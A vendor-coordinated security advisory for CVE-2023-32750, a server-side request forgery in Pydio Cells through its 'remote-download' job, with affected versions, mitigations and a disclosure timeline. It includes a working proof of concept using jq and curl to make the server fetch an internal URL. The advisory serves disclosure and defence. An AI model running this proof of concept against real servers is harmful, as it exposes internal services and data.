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Pydio Cells: Server-Side Request Forgery

For longer running processes, Pydio Cells allows for the creation of jobs, which are run in the background. The job “remote-download” can be used to cause the backend to send a HTTP GET request to a specified URL and save the response to a new file. The response file is then available in a user-specified folder in Pydio Cells.


  • Product: Pydio Cells
  • Affected Versions: 4.1.2 and earlier versions
  • Fixed Versions: 4.2.0, 4.1.3, 3.0.12
  • Vulnerability Type: Server-Side Request Forgery
  • Security Risk: medium
  • Vendor URL:
  • Vendor Status: notified
  • Advisory URL:
  • Advisory Status: published
  • CVE: CVE-2023-32750
  • CVE URL:


“Pydio Cells is an open-core, self-hosted Document Sharing and Collaboration platform (DSC) specifically designed for organizations that need advanced document sharing and collaboration without security trade-offs or compliance issues.”

(from the vendor’s homepage)

More Details

Using the REST-API of Pydio Cells it is possible to start jobs. For example, when renaming a file or folder an HTTP request similar to the following is sent:

PUT /a/jobs/user/move HTTP/2
User-Agent: agent
Accept: application/json
Authorization: Bearer G4ZRN[...]
Content-Type: application/json
Content-Length: 140

  "JobName": "move",
  "JsonParameters": "{\"nodes\":[\"cell/file.txt\"],\"target\":\"cell/renamed.txt\",\"targetParent\":false}"

The body contains a JSON object with a job name and additional parameters for the job. Besides the “move” job, also a job with the name “remote-download” exists. It takes two additional parameters: “urls” and “target”. In the “urls” parameter, a list of URLs can be specified and in the parameter “target” a path can be specified in which to save the response. When the job is started, HTTP GET requests are sent from the Pydio Cells server to the specified URLs. The responses are saved into a file, which are uploaded to the specified folder within Pydio Cells. Potential errors are transmitted in a WebSocket channel, which can be opened through the “/ws/event” endpoint.

Proof of Concept

Log into Pydio Cells and retrieve the JWT from the HTTP requests. Then, run the following commands to start a “remote-download” job to trigger an HTTP request:

$ export JWT="<insert JWT here>"

$ echo '{"urls": ["http://localhost:8000/internal.html"], "target": "personal-files"}' \
| jq '{"JobName": "remote-download", "JsonParameters": (. | tostring)}' \
| tee remote-download.json

$ curl --header "Authorization: Bearer $JWT" \
--header 'Content-Type: application/json' \
--request PUT \
--data @remote-download.json ''

The URL in the JSON document specifies which URL to request. The “target” field in the same document specifies into which folder the response is saved. Afterwards, the response is contained in a file in the specified folder. Potential errors are communicated through the WebSocket channel.


Limit the services which can be reached by the Pydio Cells server, for example using an outbound firewall.


Upgrade Pydio Cells to a version without the vulnerability.

Security Risk

The risk is highly dependent on the environment in which the attacked Pydio Cells instance runs. If there are any internal HTTP services which expose sensitive data on the same machine or within the same network, the server-side request forgery vulnerability could pose a significant risk. In other circumstances, the risk could be negligible. Therefore, overall the vulnerability is rated as a medium risk.


  • 2023-03-23 Vulnerability identified
  • 2023-05-02 Customer approved disclosure to vendor
  • 2023-05-02 Vendor notified
  • 2023-05-03 CVE ID requested
  • 2023-05-08 Vendor released fixed version
  • 2023-05-14 CVE ID assigned
  • 2023-05-16 Vendor asks for a few more days before the advisory is released
  • 2023-05-30 Advisory released

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